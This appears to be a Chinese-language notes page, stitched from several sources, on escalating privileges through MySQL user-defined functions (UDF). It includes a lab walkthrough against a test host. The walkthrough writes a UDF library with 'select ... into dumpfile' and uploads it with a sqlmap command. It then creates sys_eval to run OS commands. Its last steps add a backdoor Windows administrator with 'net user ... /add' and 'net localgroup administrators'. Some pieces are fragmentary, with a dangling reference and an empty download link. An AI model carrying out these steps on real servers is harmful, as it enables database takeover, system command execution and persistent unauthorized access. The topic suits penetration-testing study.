Mysql UDF提权方法
0x01 UDF#
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
0x02 windows下udf提权的条件#
- 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
- 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
- 拥有可以将udf.dll写入相应目录的权限。
0x03 提权方法#
如果是mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。
在sqlmap中可以导入udf
复制到新建目录
create function sys_eval returns string soname "lib_mysqludf_sys.dll"; --引用共享库文件创建存储过程
成功执行命令,可以看到当前权限为administrator
删除该函数
参考
https://www.cnblogs.com/sijidou/p/10522972.html
https://www.jianshu.com/p/5b34c1b6dee7
https://blog.csdn.net/qq_26090065/article/details/81515355
注意:
把dll文件放入到特定的“文件夹”下方式有很多种:
方式a.如何你有webshell或有能操作文件的任何方式(比如远程登录),直接把dll文件放入特定文件夹下。文件名可以自定义,比如我喜欢命名为“udf.dll”。比如用“菜刀”操作文件
udf.dll文件下载链接:
方式b.也可以使用sql语句导入(写)一个dll文件。(只有sql语句执行权限最适合用此方法),下面的文章就是使用了此方法!
mysql udf提权实战测试
根据前天对大牛们的资料学习,进行一次mysql udf提权测试。
测试环境:
受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128
攻击者系统:centos7.7,安装mysq client 5.7,IP:192.168.226.129
攻击者连接至mysql后,使用SQL语句检查相关的路径及权限
show variables like "%plugin%";
show variables like "%secure_file%";
刚安装好的mysql时,secure_file_priv是有一个指定路径,而且并不在/usr/lib/mysql/下,则无法写入udf文件。手动在受害者所在系统/etc/mysql/mysql.conf.d/mysqld.conf中修改,若不存在secure_file_priv,则添加secure_file_priv=
提权测试:
将udf十六进制导入查检目录中,先设置udf变量
mysql> set @a=unhex('udf十六进制编码,详见下文');
mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';
*************也可以使用sqlmap进行上传so文件:
python sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="C:\Users\username\AppData\Local\Programs\Python\Python37\sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"
引用方法,成功执行系统命令:
mysql> select * from func;
mysql> create function sys_eval returns string soname 'udf.so';
mysql> select sys_eval('whoami');
<进一步的权限提升及持久化,需要继续学习研究>
==》要使用net user add 才可以最终提权!!!如下:
3.使用自定义的函数。
我们可以使用如下命令来执行系统命令
select sys_eval('系统命令');
例如我们执行如下命令:
select sys_eval('net user admin admin /add');
就会发现新建了一个用户-admin
有些人对于UDF提权有一些错误的认知。认为UDF提权只是影响windows和mysql。但UDF(用户自定义函数)不仅仅是影响着Windows系统,也影响Linux系统。不仅仅影响Mysql,也影响Postgrepsql。
=============================
9.通过cmd function进行提权。
命令:
select cmdshell('net user x x /add');
select cmdshell('net localgroup administrators x /add');
10.远程到主机
11.查看管理员组